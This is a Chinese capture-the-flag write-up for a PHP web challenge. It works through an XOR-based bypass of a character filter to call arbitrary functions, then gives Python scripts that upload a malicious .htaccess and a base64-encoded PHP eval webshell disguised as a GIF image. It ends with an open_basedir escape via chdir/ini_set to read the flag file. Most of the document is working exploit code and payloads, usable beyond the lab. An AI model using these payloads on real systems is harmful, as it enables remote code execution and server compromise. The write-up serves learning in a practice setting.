前言
学习完这道题,受教了~
往往直接给出源码的题目,知识量要求不是很广,但是要求学习精度要很高~
一、bypass
观察源码,发现这里的preg_match()函数运用得很严格,就是把所有的数字和字母都过滤了,而且还过滤了一些特殊字符~
可以尝试稍微fuzz一下可视字符,看看有哪些是可以使用的。
<?php
for($i=0;$i<128;$i++)
{
if(preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)))
continue;
else
echo (chr($i));
}
?>
结果:
!#$%()*+-/:;<>?@\]^{}
发现这一段限制了使用字符的种类不能超过'12'。
其中看到这里就可以大致了解到这是一个考点为“取反”、“异或”绕过类型
但是由于我们fuzz后得到的可视字符中没有“取反符号”——“~”
所以这是一个考察“异或bypass”的知识点。
所以这里我参考了别人的PHP脚本:
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); //这里是要异或的字符串
var_dump( $argv);
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(254); //dechex(254) =fe %fe是一个不可视的字符,一般过滤不到,dechex()是将十进制转为16进制
if($k == $argv[$i]){
if($j<16){
$l .= "%fe";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%fe";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}"; //这里不直接使用^是为了能正常输出显示
?>
得到:
\{%fe%fe%fe%fe`%a1%b9%bb%aa\}
我们修改一下关键部分:%fe%fe%fe%fe^%a1%b9%bb%aa
最后这里是可以相当于注入点
我们修改一下GET传参内容:?
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo
相当于
?_=${_GET}{%fe}();&%fe=phpinfo
相当于
?_=${_GET}{phpinfo}();
经过eval($hhh);
相当于eval(phpinfo());
这样就可以执行我们的函数了
注意:需要通过phpinfo()来发现当前工作的目录环境
这里为:/var/www/html
二、文件上传
之前都是有文件上传页面的,所以这次是我第一次使用脚本去上传文件~~(有点菜)
观察这一段代码,有三层的过滤:
第一层:过滤了含有字符串“ph”的文件名
第二层:过滤了开头部分“<?”
第三层:过滤非图片文件
解决方式:
一、使用.htaccess文件上传
因为使用.user.ini需要目录有.php文件,这里还不好判断
二、原本是打算使用<script>标签来绕过的,但是通过之前的phpinfo发现这PHP版本高于7.2了,所以这个标签被废除了。
这里是使用了base64编码来绕过的。(一会看了EXP就清楚了)
三、在文件头添加大小标识、或者使用图片头都可以
#define width 1000 #define height 1000
或者
GIF89a
这个get_the_flag()函数是用来给我们上传木马文件的,所以这里需要跟我们之前的bypass联动起来。
import requests
import base64
url="http://4051edd0-8f0a-4a0e-b2c0-45c0b74666cb.node4.buuoj.cn/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
file_all={'file':('.htaccess',file_content,'image/jpeg')}
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
结果:
通过“蚁剑”远程连接http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/upload/tmp_020598b5c37fc1206644e58debc9ecf2/get.jpg
发现无法直接连接到目标服务器
?
通过大佬们的WP发现了open_basedir限制了我们访问的目录。
open_basedir知识点
修改脚本后,直接在脚本上获取目录信息
import requests
import base64
url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
#开始执行
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
end=requests.post(url=url+response2.text+cmd)
print(end.text)
结果是:
?
?再次修改脚本
import requests
import base64
url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
#开始执行
#cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');"
end=requests.post(url=url+response2.text+cmd)
print(end.text)
结果是:
?完
总结
暑假还是要加把劲啊,这速度跟不上了~
|